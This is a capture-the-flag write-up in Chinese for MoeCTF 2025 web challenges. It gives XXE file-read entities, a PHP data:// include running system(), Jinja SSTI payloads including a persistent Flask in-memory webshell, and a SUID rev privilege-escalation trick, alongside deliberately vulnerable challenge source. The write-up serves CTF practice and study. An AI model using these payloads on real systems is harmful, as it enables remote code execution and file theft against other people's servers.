MoeCTF 2025 wp
Web
0 Web入门指北
jsfuck编码 控制台运行即可
10 第十章 天机符阵
xxe注入
payload:1
2
3
4<!DOCTYPE data [
<!ENTITY abc SYSTEM "file:///var/www/html/flag.txt">
]>
<解析>&abc;</解析>
16 第十六章 昆仑星途
src:1
2
3
4
5
error_reporting(0);
highlight_file(__FILE__);
include($_GET['file'] . ".php");
payload: data伪协议 拼接后.php无影响1
/?file=data://text/plain,<?php system('whoami') ?>
Moe笑传之猜猜爆
js代码审计,可以得知随机数生成并且储存为一个参数randomNumber,直接在控制台里输入这个参数名字即可获得随机数字。
13 第十三章 通幽关·灵纹诡影
图片木马 bp修改文件头即可
10 第十章 天机符阵_revenge
xxe注入
payload:1
2
3
4<!DOCTYPE data [
<!ENTITY abc SYSTEM "file:///flag.txt">
]>
<解析>&abc;</解析>
14 第十四章 御神关·补天玉碑
.htaccess文件上传 强制解析文件为php
20 第二十章 幽冥血海·幻语心魔
无限制SSTI
摸金偶遇FLAG,拼尽全力难战胜
方法1
通过分析js源码 改变游戏时间 第 87 行找到了控制挑战时间的变量:var limitChallengeTime = 3;,在这个语句的下一行设置一个断点,然后刷新网页。
完成游戏后分析网络选项卡 得知 挑战目录和提交目录
payload:1
2
3
4
5
6
7
8
9
10
11
12
13
14import requests
session = requests.Session()
resp = session.get("http://localhost:80/get_challenge?count=1")
challenge = resp.json()
challenge['answers'] = challenge['numbers']
# del challenge['numbers']
challenge.pop('numbers')
resp = session.post("http://localhost:80/verify", json=challenge)
print(resp.text)
方法2(待知)
使用 selenium 自动化控制浏览器完成本题的任务。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128from selenium import webdriver # 若脚本启动时卡死请尝试科学上网,因为要下载某些资源
from selenium.webdriver.common.by import By
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.support import expected_conditions as EC
from selenium.common.exceptions import StaleElementReferenceException, TimeoutException, NoSuchElementException
import time
dict={
"0": "━━━━━",
"1": "·━━━━",
"2": "··━━━",
"3": "···━━",
"4": "····━",
"5": "·····",
"6": "━····",
"7": "━━···",
"8": "━━━··",
"9": "━━━━·"
}
# 初始化驱动
driver = webdriver.Chrome()
# 加载页面
url = 'http://127.0.0.1:9801/'
morse_codes=[]
nums=[]
#获取数字列表
def get_morse_code(morse_codes):
nums=[]
for morse in morse_codes:
for num, ms in dict.items():
if morse == ms:
nums.append(int(num))
print("nums:",nums)
return nums
def input1(nums, button_selectors):
for i, num in enumerate(nums):
success = click_button_safely(num, button_selectors)
if success:
print(f"第{i+1}次输入{num},成功")
else:
print(f"第{i+1}次输入{num},失败")
time.sleep(0.1)
def printhtml():
html_content = driver.page_source
print("网页内容: ",html_content)
def get_button_selectors():
# 返回按钮选择器而不是元素引用,避免过期引用问题
selectors = {
0: '#inputContent > div.inputContentBtnArea > div:nth-child(11)',
1: '#inputContent > div.inputContentBtnArea > div:nth-child(7)',
2: '#inputContent > div.inputContentBtnArea > div:nth-child(8)',
3: '#inputContent > div.inputContentBtnArea > div:nth-child(9)',
4: '#inputContent > div.inputContentBtnArea > div:nth-child(4)',
5: '#inputContent > div.inputContentBtnArea > div:nth-child(5)',
6: '#inputContent > div.inputContentBtnArea > div:nth-child(6)',
7: '#inputContent > div.inputContentBtnArea > div:nth-child(1)',
8: '#inputContent > div.inputContentBtnArea > div:nth-child(2)',
9: '#inputContent > div.inputContentBtnArea > div:nth-child(3)'
}
return selectors
def click_button_safely(num, selectors, max_retries=3):
# 每次点击前重新获取元素,避免过期引用,支持重试机制
for attempt in range(max_retries):
try:
button = WebDriverWait(driver, 5).until(
EC.element_to_be_clickable((By.CSS_SELECTOR, selectors[num]))
)
button.click()
return True
except (StaleElementReferenceException, TimeoutException, NoSuchElementException) as e:
print(f"点击按钮 {num} 第 {attempt + 1} 次尝试失败: {type(e).__name__}")
if attempt < max_retries - 1:
time.sleep(0.5) # 等待一下再重试
else:
print(f"点击按钮 {num} 最终失败: {e}")
return False
except Exception as e:
print(f"点击按钮 {num} 发生未知错误: {e}")
return False
def main():
driver.get(url)
time.sleep(2)
start_bottom = WebDriverWait(driver, 10).until(
EC.element_to_be_clickable((By.ID, 'decipherComputerChallengeStartBTN'))
)
start_bottom.click()
print("开始挑战!")
time.sleep(0.2)
# 获取按钮选择器而不是元素引用
button_selectors = get_button_selectors()
content_item = WebDriverWait(driver, 10).until(
EC.presence_of_element_located((By.CSS_SELECTOR, '#leftPanel > div.codeShow > div.codeContent'))
)
clean_morse_code = content_item.text.replace('\n', '').replace(' ', '')
print("clean_morse_code:", clean_morse_code)
morse_codes=[clean_morse_code[i:i+5] for i in range(0, len(clean_morse_code), 5)]
print("morse_code:",morse_codes)
for morse in morse_codes:
for num, ms in dict.items():
if morse == ms:
nums.append(int(num))
print("nums:",nums)
# 使用安全的点击方法,每次都重新获取元素
for i, num in enumerate(nums):
success = click_button_safely(num, button_selectors)
if success:
print(f"第{i+1}次输入{num},成功")
else:
print(f"第{i+1}次输入{num},失败")
time.sleep(0.1)
time.sleep(10)
driver.quit()
if __name__ == '__main__':
main()
11 第十一章 千机变·破妄之眼
爆破 302跳转 php://filter 伪协议
注意 若用py脚本爆破无法响应302 必须用bp
15 第十五章 归真关·竞时净魔
条件竞争
21 第二十一章 往生漩涡·言灵死局
简单限制ssti 用fenjing绕过
src:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41from flask import Flask, request, render_template, render_template_string
app = Flask(__name__)
blacklist = ["__", "global", "{{", "}}"]
def index():
if 'username' in request.args or 'password' in request.args:
username = request.args.get('username', '')
password = request.args.get('password', '')
if not username or not password:
login_msg = """
<div class="login-result" id="result">
<div class="result-title">阵法反馈</div>
<div id="result-content"><div class='login-fail'>用户名或密码不能为空</div></div>
</div>
"""
else:
login_msg = render_template_string(f"""
<div class="login-result" id="result">
<div class="result-title">阵法反馈</div>
<div id="result-content"><div class='login-success'>欢迎:{username}</div></div>
</div>
""")
for blk in blacklist:
if blk in username:
login_msg = """
<div class="login-result" id="result">
<div class="result-title">阵法反馈</div>
<div id="result-content"><div class='login-fail'>Error</div></div>
</div>
"""
else:
login_msg = ""
return render_template("index.html", login_msg=login_msg)
if __name__ == '__main__':
app.run(host='0.0.0.0', port=80)
22 第二十二章 血海核心·千年手段
无回显ssti
方法1
通过static/回显1
{{lipsum.__globals__['os']['popen']('mkdir static; whoami > ./static/out.txt')}}
find / -perm -4000 提权 注意到/usr/bin/rev与正常不同 通过base64、xxd、hexdump等方式读取/usr/bin/rev然后逆向1
2
3
4
5
6
7
8
9
10
11
12
13
int main(int argc, char **argv) {
for(int i = 1; i + 1 < argc; i++) {
if (strcmp("--HDdss", argv[i]) == 0) {
execvp(argv[i + 1], &argv[i + 1]);
}
}
return 0;
}
payload:1
rev --HDdss whoami
方法2
通过打内存马回显1
{{url_for.__globals__['__builtins__']['eval']("app.after_request_funcs.setdefault(None, []).append(lambda resp: CmdResp if request.form.get('cmd') and exec(\"global CmdResp;CmdResp=__import__(\'flask\').make_response(__import__(\'os\').popen(request.form.get(\'cmd\')).read())\")==None else resp)",{'request':url_for.__globals__['request'],'app':url_for.__globals__['sys'].modules['__main__'].__dict__['app']})}}
后续相同
这是…Webshell?
src:1
2
3
4
5
6
7
8
9
10
11
highlight_file(__FILE__);
if(isset($_GET['shell'])) {
$shell = $_GET['shell'];
if(!preg_match('/[A-Za-z0-9]/is', $_GET['shell'])) {
eval($shell);
} else {
echo "Hacker!";
}
}
无字母数字webshell
异或 自增 取反 都可以
这是…Webshell?_revenge
src:1
2
3
4
5
6
7
8
9
10
11
12
13
highlight_file(__FILE__);
if (isset($_GET['shell'])) {
$shell = $_GET['shell'];
if (strlen($shell) > 30) {
die("error: shell length exceeded");
}
if (preg_match("/[A-Za-z0-9_$]/", $shell)) {
die("error: shell not allowed");
}
eval($shell);
}
详见https://www.freebuf.com/articles/network/279563.html






